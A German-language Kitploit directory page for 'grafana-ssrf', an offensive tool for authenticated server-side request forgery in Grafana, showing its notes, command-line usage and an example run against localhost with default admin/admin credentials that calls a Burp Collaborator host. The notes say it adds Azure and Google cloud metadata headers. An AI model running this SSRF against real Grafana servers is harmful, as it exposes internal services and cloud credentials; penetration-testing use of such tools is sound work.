Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/randomrobbiebf/grafana-ssrf
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungCloud-SicherheitRed Teaming
GitHubrandomrobbiebf/grafana-ssrf

grafana-ssrf

Authentifizierte SSRF in Grafana

Repository anzeigen
83273vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

grafana-ssrf

Authentifizierte SSRF in Grafana.

Hinweise

  • Azure-Metadaten-Header wurde zu allen SSRFs hinzugefügt
  • Google-Metadaten-Header wurde zu allen SSRFs hinzugefügt
  • SSRF folgt unter keinen Umständen Weiterleitungen, daher stelle sicher, dass die URL direkt ist.
  • Wenn die Anmeldung über SSO oder andere Nicht-Grafana-Logins erfolgt, hole dir bitte dein Session-Cookie und verwende das Flag -s

Verwendung

root@kitploit:~
usage: grafana-ssrf.py [-h] [-s SESSION] [-u URL] [-H HOST] [-f FILE] [-U USERNAME]
                  [-P PASSWORD]

optional arguments:
  -h, --help            show this help message and exit
  -s SESSION, --session SESSION
                        Session Cookie Value
  -u URL, --url URL     URL of host to check will need http or https
  -H HOST, --host HOST  Host for Grafana
  -f FILE, --file FILE  File of URLS to check SSRF Against
  -U USERNAME, --username USERNAME
                        Username for Grafana
  -P PASSWORD, --password PASSWORD
                        Password for Grafana

Beispiel

root@kitploit:~
python3 grafana.py -U admin -P admin -H http://localhost:3000 -u http://8t2s8yx5gh5nw0z9bd3atkoprgx6lv.burpcollaborator.net
Refreshed Sources
SSRF Source Updated
Status code:   200
Response body: <html><body>c7yzzb4zyj5v14wkpi2nxvzjigz</body></html>
Deleted Old SSRF Source

Vergiss nicht, dir anzusehen, welche offenen Stellen wir haben!

https://bishopfox.com/jobs#open-positions - Komm und schließe dich den Füchsen an!

Tool herunterladen